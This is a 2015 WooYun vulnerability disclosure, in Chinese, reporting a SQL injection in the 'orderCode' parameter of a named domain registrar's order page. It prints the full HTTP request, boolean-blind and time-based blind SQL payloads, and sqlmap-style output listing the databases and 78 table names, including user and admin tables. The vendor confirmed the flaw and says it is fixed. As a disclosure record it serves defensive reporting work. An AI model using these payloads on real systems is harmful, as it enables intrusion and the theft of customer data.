当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089997

漏洞标题:北京中科三方某处SQL注射漏洞2

相关厂商:北京中科三方网络技术有限公司

漏洞作者: se55i0n

提交时间:2015-01-05 09:48

修复时间:2015-02-12 13:40

公开时间:2015-02-12 13:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-05: 细节已通知厂商并且等待厂商处理中
2015-01-06: 厂商已经确认,细节仅向厂商公开
2015-01-16: 细节向核心白帽子及相关领域专家公开
2015-01-26: 细节向普通白帽子公开
2015-02-05: 细节向实习白帽子公开
2015-02-12: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

SQL注射可导致大量敏感信息泄漏

详细说明:

1.存在问题的功能如下;

1.png


2.获取的数据请求如下,存在注入的参数:orderCode;

POST http://www.sfn.cn/order HTTP/1.1
Host: www.sfn.cn
Proxy-Connection: keep-alive
Content-Length: 37
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.sfn.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.sfn.cn/order
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,ko;q=0.2,ja;q=0.2,es;q=0.2
Cookie:
orderCode=150104154127207&payStatus=1


3.获取的数据库信息如下;

---
Place: POST
Parameter: orderCode
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: orderCode=150104154127207' AND 1077=1077 AND 'yENh' LIKE 'yENh&payStatus=1
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: orderCode=150104154127207' AND SLEEP(5) AND 'dLyU' LIKE 'dLyU&payStatus=1
---
web application technology: Nginx
back-end DBMS: MySQL 5.0.11
available databases [2]:
[*] information_schema
[*] sanfront


4.进一步证明,获取的表信息如下;

Database: sanfront
[78 tables]
+----------------------------+
| domain |
| user |
| zone |
| account |
| accountAdd |
| accountRemove |
| adminUser |
| agent_info |
| agent_price |
| borrow_account |
| borrow_account_detail |
| cart |
| city |
| contact |
| country |
| cp_tempList |
| cp_tempSort |
| district |
| dns_records |
| dns_rr |
| dns_zone |
| domainRRNum |
| domain_history |
| domain_redemption |
| domain_status |
| domain_transfer_in |
| domain_transfer_owner |
| email |
| general |
| general_transfer_in |
| host |
| hosting |
| invoice |
| job_employ_education |
| job_employ_family |
| job_employ_registration |
| job_employ_training |
| job_employ_work_experience |
| lookup |
| newsInfo |
| newsSort |
| orderDetail |
| orderInfo |
| original |
| password_apply |
| pollMessage |
| product |
| productEmail |
| productHosting |
| productPrice |
| productVPS |
| productVirtualHost |
| province |
| rechargeapply |
| resource |
| revenue |
| revenue_apply |
| role |
| role_task |
| rr |
| slides |
| task |
| task_resource |
| tempList |
| tempSort |
| trustedSite |
| trustedSiteDomain |
| trustedSiteMaterial |
| url_redirect |
| user_role |
| user_task |
| user_transfer |
| virtualHost |
| vps |
| websiting |
| websiting_history |
| wireless |
| wireless_transfer_in |
+----------------------------+

漏洞证明:

见详细说明

修复方案:

过滤

版权声明:转载请注明来源 se55i0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-06 09:07

厂商回复:

已收到漏洞报告,反馈给技术部门修复中

最新状态:

2015-02-12:该漏洞已修复


漏洞评价:

评论